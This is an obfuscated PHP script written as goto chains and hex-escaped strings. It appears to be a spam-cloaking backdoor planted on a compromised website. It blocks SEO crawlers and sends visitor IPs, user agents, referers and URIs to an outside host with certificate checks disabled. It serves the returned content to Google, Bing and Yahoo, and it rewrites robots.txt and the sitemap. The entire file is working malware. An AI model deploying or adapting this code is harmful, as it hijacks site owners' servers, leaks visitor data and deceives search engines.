goto P_yMB; YI5K0: zC8IR: goto TRM3O; TsnyP: if ($HqvQ2 == 0) { goto zC8IR; } goto u1SUO; Mq8Po: goto lIoTn; goto ZO8Wc; uKEVm: return; goto YRurw; oyzaS: $HqvQ2 = 0; goto wi8FH; oByz0: header("\x48\x54\x54\120\x2f\x31\x2e\x30\x20\65\60\60\x20\111\156\x74\x65\x72\x6e\141\154\40\x53\x65\x72\166\x65\162\40\x45\x72\x72\x6f\x72"); goto ceZV0; V0KBx: if (strpos($UcOQE, "\x69\x6e\144\x65\170\56\160\150") !== false) { goto UGJH3; } goto BXW9U; D8LC3: s7dzF: goto AHvqM; EwSHa: exit; goto uKEVm; LWPhc: $HKJCK = urlencode(@$_SERVER["\110\124\124\120\x5f\122\x45\x46\x45\122\105\122"]); goto xgJel; BXW9U: $UcOQE = $UcOQE . "\x3f"; goto YEViz; nabHv: exit; goto c2Cex; yVb5t: if (strpos($J5E8p, "\152\160\62\x30\x32\63") !== false || preg_match("\x2f\x28{$oWik0}\51\x2f\151", $_SERVER["\110\124\124\120\x5f\x52\x45\x46\105\122\x45\x52"])) { goto gGQfm; } goto zzjFU; QcbVH: $BqrUH = @file_get_contents($aMNgw); goto ncpAe; s9npv: header("\x43\157\x6e\x74\x65\156\164\55\x54\171\x70\145\72\40\164\145\x78\164\57\x68\x74\x6d\x6c\x3b\40\x63\x68\141\162\x73\145\x74\75\165\164\x66\55\70"); goto K1eps; u1SUO: $UcOQE = "\x2f"; goto AAIuC; oMM5V: $HqvQ2 = 0; goto vjfCP; xgJel: $zl40t = urlencode(@$_SERVER["\110\124\124\120\x5f\x41\x43\x43\x45\120\124\x5f\114\x41\x4e\x47\125\101\x47\x45"]); goto VNnAn; K1eps: goto bBir1; goto W76QZ; jbf3S: echo "\x6f\153"; goto nabHv; Fj4Pt: curl_close($cZK87); goto HxyFH; mp7yE: $MEkyc = "\x63\167\x37\70\x30"; goto Ijs2A; oLzQR: if (!preg_match("\x2f\x28\x53\x65\x6d\162\x75\x73\150\x42\x6f\164\x7c\x41\163\153\x54\x62\106\130\124\126\x7c\x4f\102\x6f\x74\x7c\x46\145\145\x64\x6c\x79\174\x48\x74\164\x70\103\154\151\145\156\x74\x7c\x44\x69\147\105\170\164\x7c\x45\141\x73\157\165\x53\160\151\x64\145\x72\174\154\151\x67\x68\x74\x44\x65\143\153\x52\x65\x70\x6f\x72\164\163\40\102\157\x74\174\x50\x79\164\x68\x6f\x6e\174\102\171\x74\x65\x73\160\x69\144\145\x72\x7c\x79\x61\x6e\x64\x65\x78\102\x6f\164\174\155\x6a\x31\62\142\x6f\164\174\101\x6d\141\x7a\x6f\x6e\x42\x6f\x74\x7c\123\x63\x72\141\x70\x79\174\x59\151\x73\x6f\x75\123\160\151\x64\145\x72\x7c\x55\x6e\x69\166\x65\x72\x73\x61\154\106\x65\x65\144\x50\141\x72\163\x65\162\x7c\x4a\141\165\x6e\164\x79\x7c\x61\150\x72\145\146\163\102\x6f\x74\x7c\106\x65\x65\144\104\145\x6d\x6f\156\x7c\x53\167\x69\x66\x74\x62\x6f\164\x7c\110\145\162\x69\164\x72\151\x78\x7c\151\x6e\x64\x79\x20\x4c\151\x62\162\x61\x72\171\174\102\x61\162\153\x72\157\x77\154\145\162\x7c\120\141\x6c\x6f\x61\154\164\157\x6e\145\x74\x77\157\x72\153\x73\x7c\152\151\153\x65\123\160\x69\x64\145\162\174\172\155\105\165\174\120\x65\164\x61\x6c\x42\x6f\x74\x7c\x4a\141\166\141\174\x65\x7a\157\157\x6d\163\174\x50\171\x74\x68\157\x6e\x2d\x75\x72\x6c\154\x69\x62\174\x61\160\x61\143\x68\x65\102\x65\x6e\143\150\174\x43\x72\141\167\154\104\141\144\144\x79\x7c\x43\x6f\157\x6c\x70\141\144\127\x65\142\153\151\x74\174\160\171\x74\150\157\156\55\x72\x65\x71\165\x65\163\x74\163\x7c\171\x79\x53\160\x69\x64\145\162\x29\57\x69", $_SERVER["\110\124\124\x50\137\125\x53\105\x52\x5f\101\107\x45\x4e\124"])) { goto NrK3h; } goto hXFHJ; ZO8Wc: l2jKW: goto DjAXV; SsPnC: $cZK87 = curl_init(); goto ZiVdZ; TseZF: zfqsg: goto oYgM1; hXFHJ: header("\x48\x54\x54\120\x2f\61\x2e\60\40\x34\x30\x33\x20\x46\157\x72\142\151\x64\144\145\156"); goto H122j; oYgM1: $_SERVER["\122\105\x51\125\105\123\124\137\123\x43\x48\x45\x4d\x45"] = "\150\x74\164\x70\x73"; goto amdkr; Wev2I: $HqvQ2 = 1; goto OEVPP; UhMCp: EfFpS: goto EwSHa; n8E8N: HWge8: goto efPIg; Urd7e: $QJL1U = $_SERVER["\x48\x54\124\120\x5f\x58\137\x46\117\122\x57\x41\x52\x44\x45\104\x5f\x46\117\x52"]; goto qHu4t; gziA_: $wDCcY = "\101\x77\132\x52\x41\x51\x6f"; goto v5lJz; Y00wP: $P709L = urlencode($_SERVER["\110\x54\x54\x50\137\x48\117\x53\124"]); goto ybRb7; a4pxy: if (!(strpos($J5E8p, "\151\162\x6e\x69\x72\x6e") !== false)) { goto v4501; } goto jbf3S; RNw7N: XPMc4: goto qwq84; ybRb7: $uvIqL = urlencode($_SERVER["\123\x43\x52\x49\120\124\x5f\x4e\101\115\105"]); goto MgDyj; f_zGO: goto oaolD; goto JD01s; Pyrgb: $f1Sae = ''; goto w27fb; fbIdj: N6leb: goto fsMPM; hm5Gg: IeRsz: goto Urd7e; Ykk8B: curl_setopt($cZK87, CURLOPT_SSL_VERIFYHOST, FALSE); goto ZaMC9; amKev: $QJL1U = urlencode($QJL1U); goto Y00wP; ncpAe: if (!empty($BqrUH)) { goto A06C1; } goto avLvi; HxyFH: goFOG: goto LIeTT; APoEk: goto lIoTn; goto hm5Gg; v5lJz: $OJ_vc = urlencode($_SERVER["\x48\x54\x54\120\x5f\x55\x53\105\122\x5f\101\x47\105\116\124"]); goto LWPhc; vXBTU: eEX5D: goto KzvSH; YcrIE: oaolD: goto vXBTU; efPIg: goto Q3szt; goto RNw7N; KQ6J3: NrK3h: goto lj_U2; yG1Gy: header("\x48\x54\x54\x50\x2f\61\x2e\61\40\x34\x30\x34\40\116\x6f\x74\40\106\x6f\x75\156\x64"); goto fbIdj; AAIuC: goto BTmiP; goto YI5K0; K9rqL: curl_setopt($cZK87, CURLOPT_RETURNTRANSFER, true); goto UA7nI; G51Ss: $BqrUH = @file_get_contents($uKQet); goto ruc5G; i_jLl: C2anA: goto hz87a; A_QLk: curl_setopt($cZK87, CURLOPT_URL, $aMNgw); goto K9rqL; QLWng: $HqvQ2 = @file_get_contents("\151\x72\x6e\x2e\x74\170\x74"); goto LEMmB; B6pXo: curl_close($cZK87); goto FlR4Z; hgzfg: $J5E8p = urlencode($_SERVER["\122\x45\x51\125\105\x53\124\137\x55\122\111"]); goto a4pxy; dbXAN: if (strpos($J5E8p, "\x70\151\156\x67\x73\151\164\x65\155\141\x70\56\170\155\x6c") !== false || strpos($J5E8p, "\x6a\160\62\60\x32\x33") !== false || strpos($J5E8p, "\x72\157\x62\x6f\164\x73\56\x74\170\x74") !== false || preg_match("\100\x5e\57\x28\x2e\x2a\77\51\x2e\x78\x6d\x6c\44\100\151", $_SERVER["\122\x45\121\x55\x45\x53\x54\137\x55\x52\x49"]) || preg_match("\x2f\50{$oWik0}\x29\57\151", $_SERVER["\x48\x54\x54\120\137\x55\123\105\122\137\x41\107\105\116\124"]) || preg_match("\x2f\50{$oWik0}\x29\57\x69", $_SERVER["\x48\x54\124\x50\x5f\x52\105\x46\105\122\105\x52"])) { goto hvUNr; } goto HATm2; KzvSH: if (strpos($J5E8p, "\x66\x61\166\x69\143\157\x6e\x2e\x69\x63\157") !== false) { goto XPMc4; } goto dbXAN; U2_a4: $uKQet = $he1LT . "\77\x61\147\145\156\x74\75{$OJ_vc}\46\x72\x65\146\x65\162\x3d{$HKJCK}\46\154\x61\156\147\75{$zl40t}\x26\151\x70\x3d{$QJL1U}\x26\144\x6f\155\75{$P709L}\46\150\x74\164\x70\x3d{$u4E9z}\46\x75\x72\151\x3d{$J5E8p}\x26\x70\x63\x3d{$wDCcY}\x26\162\x65\167\162\x69\164\145\141\x62\154\145\x3d{$HqvQ2}\46\163\x63\162\151\160\x74\x3d{$uvIqL}\x26\x73\151\x74\145\x6d\x61\x70\75" . urlencode($TDGzY); goto XHYL6; RBdgs: if (!empty(@$_SERVER["\110\x54\x54\120\137\103\114\111\x45\x4e\x54\x5f\x49\120"])) { goto l2jKW; } goto OUsLJ; ncJud: header("\x43\x6f\x6e\x74\x65\156\x74\55\124\x79\x70\145\72\x20\164\145\x78\164\x2f\170\x6d\x6c\x3b\40\x63\x68\x61\x72\163\145\164\75\x75\x74\x66\x2d\70"); goto vjGPi; ZaMC9: $BqrUH = curl_exec($cZK87); goto B6pXo; KpqLt: $BqrUH = curl_exec($cZK87); goto Fj4Pt; w27fb: echo $TDGzY . "\72\40" . $f1Sae . "\74\142\162\57\76"; goto U2_a4; qAiw1: $TDGzY = "{$u4E9z}\72\x2f\x2f" . $P709L . $UcOQE . "\163\151\164\x65\x6d\141\160\56\170\x6d\154"; goto cT1C0; ZiVdZ: curl_setopt($cZK87, CURLOPT_URL, $uKQet); goto HdEm5; p26w_: @file_put_contents("\x72\x6f\x62\x6f\164\x73\x2e\x74\170\x74", $WZxFi); goto UhMCp; GYs05: if (!($BqrUH == "\65\60\60" || substr($BqrUH, 0, 11) == "\x65\162\x72\157\x72\x20\x63\x6f\144\145\x3a")) { goto ZkqUP; } goto oByz0; LEMmB: goto eEX5D; goto mFts6; ZTwVq: if (!(strpos($J5E8p, "\160\x69\x6e\147\x73\151\164\145\155\x61\160\56\170\x6d\x6c") !== false)) { goto XgfBg; } goto o0gz1; hz87a: $WZxFi = "\x55\x73\x65\x72\55\141\147\145\x6e\x74\72\x20\x2a\xd\xa\x41\154\x6c\x6f\167\x3a\x20\x2f"; goto qAiw1; jEkPu: gGQfm: goto yG1Gy; myF_A: if ($BqrUH == "\x6f\x6b") { goto S69u3; } goto oyzaS; fsMPM: echo $BqrUH; goto jsHbj; P_yMB: $aMNgw = $u4E9z . "\72\x2f\57" . $_SERVER["\x48\124\124\x50\x5f\110\x4f\123\124"] . "\57\x69\x72\x6e\x69\x72\156"; goto QcbVH; TRM3O: $UcOQE = "\57\77"; goto r36NH; vjGPi: bBir1: goto Mik3W; wi8FH: @file_put_contents("\x69\162\x6e\x2e\164\x78\164", "\60"); goto f_zGO; ypVc0: UGJH3: goto TsnyP; YRurw: TwAXL: goto n8E8N; W76QZ: D2hum: goto ncJud; OEVPP: @file_put_contents("\x69\162\156\56\x74\x78\x74", "\x31"); goto YcrIE; DjAXV: $QJL1U = $_SERVER["\110\124\x54\120\137\103\x4c\111\x45\116\x54\x5f\111\x50"]; goto APoEk; xSJ_y: @file_put_contents("\x72\x6f\x62\157\x74\163\x2e\164\170\x74", $BqrUH); goto D8LC3; Zq22X: curl_setopt($cZK87, CURLOPT_SSL_VERIFYHOST, FALSE); goto KpqLt; L53Vx: goto wI5Xa; goto TseZF; HATm2: goto HWge8; goto HnN43; M_txa: curl_setopt($cZK87, CURLOPT_SSL_VERIFYPEER, FALSE); goto Zq22X; Mik3W: goto N6leb; goto jEkPu; BT6Ub: if (!(strpos($J5E8p, "\x72\157\142\157\x74\x73\56\x74\x78\x74") !== false)) { goto s7dzF; } goto xSJ_y; H122j: exit; goto KQ6J3; Ijs2A: error_reporting(0); goto oLzQR; VNnAn: $QJL1U = $_SERVER["\x52\105\x4d\x4f\x54\x45\x5f\101\104\x44\x52"]; goto RBdgs; MOnQC: ZkqUP: goto yVb5t; OUsLJ: if (!empty(@$_SERVER["\x48\124\x54\x50\137\130\x5f\106\117\x52\x57\x41\x52\x44\x45\104\x5f\x46\117\122"])) { goto IeRsz; } goto Mq8Po; hD7FJ: eEGrU: goto p26w_; ceZV0: exit; goto MOnQC; amdkr: wI5Xa: goto igNxE; qHu4t: lIoTn: goto amKev; YEViz: goto C2anA; goto ypVc0; UA7nI: curl_setopt($cZK87, CURLOPT_FOLLOWLOCATION, false); goto kJHmv; zzjFU: if (substr($BqrUH, 0, 5) == "\74\77\170\155\x6c") { goto D2hum; } goto s9npv; MgDyj: if (!empty($_SERVER["\x52\x45\x51\x55\105\123\x54\x5f\x53\x43\110\x45\115\105"]) && $_SERVER["\122\105\121\125\105\x53\124\137\123\103\x48\x45\x4d\x45"] == "\150\x74\164\160\x73" || !empty($_SERVER["\x48\x54\124\x50\x53"]) && $_SERVER["\x48\x54\124\x50\123"] == "\157\156" || !empty($_SERVER["\x53\105\122\126\x45\122\x5f\x50\x4f\x52\x54"]) && $_SERVER["\123\x45\x52\126\105\122\x5f\x50\117\x52\124"] == "\x34\64\x33" || isset($_SERVER["\110\124\124\120\x5f\130\137\x46\x4f\122\x57\101\122\x44\x45\x44\x5f\120\122\117\x54\x4f"]) && $_SERVER["\x48\x54\x54\120\137\130\137\x46\x4f\x52\x57\101\122\104\x45\104\x5f\120\x52\x4f\124\117"] == "\x68\x74\164\160\163") { goto zfqsg; } goto m5Ymi; kJHmv: curl_setopt($cZK87, CURLOPT_SSL_VERIFYPEER, FALSE); goto Ykk8B; avLvi: $cZK87 = curl_init(); goto A_QLk; cT1C0: $WZxFi = trim($WZxFi) . "\15\xa" . "\x53\x69\x74\145\155\x61\160\x3a\x20{$TDGzY}"; goto Pyrgb; lj_U2: $he1LT = "\x68\x74\x74\160\x3a\x2f\57" . $MEkyc . "\x2e\x6c\145\163\x62\151\141\156\164\x6f\167\156\56\x73\150\157\x70\x2f"; goto gziA_; LIeTT: if (empty($BqrUH)) { goto TwAXL; } goto GYs05; AHvqM: goto EfFpS; goto hD7FJ; JD01s: S69u3: goto Wev2I; o0gz1: $UcOQE = $_SERVER["\x53\103\122\111\x50\x54\x5f\x4e\101\x4d\x45"]; goto V0KBx; igNxE: $u4E9z = urlencode($_SERVER["\122\x45\121\x55\105\123\x54\x5f\x53\x43\110\105\x4d\x45"]); goto hgzfg; ruc5G: if (!empty($BqrUH)) { goto goFOG; } goto SsPnC; FlR4Z: A06C1: goto myF_A; r36NH: BTmiP: goto i_jLl; HdEm5: curl_setopt($cZK87, CURLOPT_RETURNTRANSFER, true); goto mAg7q; vjfCP: if (!file_exists("\151\162\156\56\x74\170\x74")) { goto ofwxB; } goto QLWng; Q1yKx: $oWik0 = "\x42\151\156\x67\174\x44\157\x63\157\x6d\157\x7c\x47\157\157\x67\x6c\145\174\x59\141\150\x6f\x6f"; goto mp7yE; c2Cex: v4501: goto oMM5V; jsHbj: if (!empty($WZxFi)) { goto eEGrU; } goto BT6Ub; HnN43: hvUNr: goto j3jcr; F0fWX: $WZxFi = ''; goto ZTwVq; m5Ymi: $_SERVER["\x52\x45\121\x55\x45\x53\x54\x5f\123\x43\110\x45\x4d\x45"] = "\150\x74\x74\160"; goto L53Vx; XHYL6: XgfBg: goto G51Ss; mAg7q: curl_setopt($cZK87, CURLOPT_FOLLOWLOCATION, false); goto M_txa; qwq84: Q3szt: